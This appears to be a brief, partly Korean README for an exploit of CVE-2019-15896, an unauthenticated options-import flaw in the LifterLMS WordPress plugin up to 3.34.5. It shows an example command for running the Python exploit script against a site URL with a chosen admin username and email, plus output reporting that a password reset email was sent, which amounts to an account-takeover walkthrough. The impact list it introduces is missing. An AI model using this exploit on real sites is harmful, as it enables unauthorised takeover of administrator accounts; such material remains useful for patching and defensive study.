randomrobbiebf/cve-2019-15896LifterLMS <= 3.34.5 - 인증되지 않은 옵션 가져오기
LifterLMS <= 3.34.5 - 인증되지 않은 옵션 가져오기
인증되지 않은 옵션 가져오기, 이로 인해 다음이 발생할 수 있습니다:
이 문제들은 3.35.0에서 수정되었다고 보고되었습니다. 그러나 v3.35.1에서는 추가적인 입력 정리 및 필터링이 추가되었습니다.
$ python3 CVE-2019-15896.py --url http://wordpress.lan --username radmin --email [email protected]
LifterLMS <= 3.34.5 - Unauthenticated Options Import
Exploit By Ramdom Robbie
Once ran check your email for the forgotten password link.
Password reset email sent to [email protected]
Requires access to login.php and working email address and the site needs to be able to send emails